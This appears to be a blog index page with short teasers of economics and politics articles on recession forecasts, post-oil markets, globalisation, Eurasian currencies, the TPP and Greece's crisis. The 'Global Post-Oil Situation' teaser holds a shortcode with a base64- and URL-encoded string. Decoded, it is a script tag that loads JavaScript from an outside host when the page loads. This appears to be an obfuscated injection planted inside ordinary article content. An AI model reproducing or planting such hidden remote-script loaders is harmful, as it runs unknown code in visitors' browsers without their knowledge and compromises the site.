Blanchard on Recession, Expansion, and Inequality after Elections


Olivier Blanchard, PIIE   ill the economic program of President-elect Donald Trump lead to a recession or to an expansion? Before the election, many predicted a recession. But last week, markets clearly predicted an expansion. Who is right? It is obviously hard to tell. Announced programs are never implemented as such. Political realities and the need for support by Congress force minor and...

Global Post-Oil Situation


[intense_code type=”js” raw_content=”JTNDc2NyaXB0JTIwdHlwZSUzRCUyMnRleHQlMkZqYXZhc2NyaXB0JTIyJTIwc3JjJTNEJTIyaHR0cCUzQSUyRiUyRjEwMHdpZGdldHMuY29tJTJGanNfZGF0YS5waHAlM0ZpZCUzRDExOCUyMiUzRSUzQyUyRnNjcmlwdCUzRQ==”] [/intense_code] [intense_dropcap]I [/intense_dropcap]t’s not so difficult to see the current situation in global markets and economies. After Oil price...

Is Globalisation Era Over?


Baltic Dry Index, which measures the price of moving a major raw materials by sea, has fallen to an all-time low. Moreover, China has announced last year that, since the opening up its market to the world in late 1970s, its exports has declined on an annual basis. Energy prices such as oil and iron has fallen stiffly in a recent decade. All this factors might imply that global trade is decreasing...

Eurasian currencies continue to face devaluation pressure


Despite significant devaluations already in 2015, Central Asian and Caucasus currencies are continuing to face depreciation pressures because of sluggish economic growth and worsening foreign trade, the IMF predicts in its autumn World Economic Outlook, presented during the IMF/WB Annual Meetings in Lima, Peru, on October 6. The IMF said in the outlook that weakening commodity prices had...

The Fraught Politics of the TPP


This month, 12 countries on both sides of the Pacific finalized the historic Trans-Pacific Partnership trade agreement. The scope of the TPP is vast. If ratified and implemented, it will have a monumental impact on trade and capital flows along the Pacific Rim. Indeed, it will contribute to the ongoing transformation of the international order. Unfortunately, whether this will happen remains...

Yunanıstanın Demokratika Həsrəti


Əvvəllər Yunanıstan deyəndə ağıla ilk gələn şey sivilizasiyanın, fəlsəfənin mənbəyi olan bir əfsanəvi ölkə idi. Lakin günümüzdə Yunanıstan deyəndə ağla ilk gələn söz Krizis`dir. Necə oldu ki, Demokratika sözünün atası Kleistenis`in yurdu olan Yunanıstan suverenliyini itirməyə və ayaq altında məhv olmağa doğru gedir? 1992ci ildə Maastrixt Sazişi (Treaty of Maastricht) əsasında Avropa Birliyi...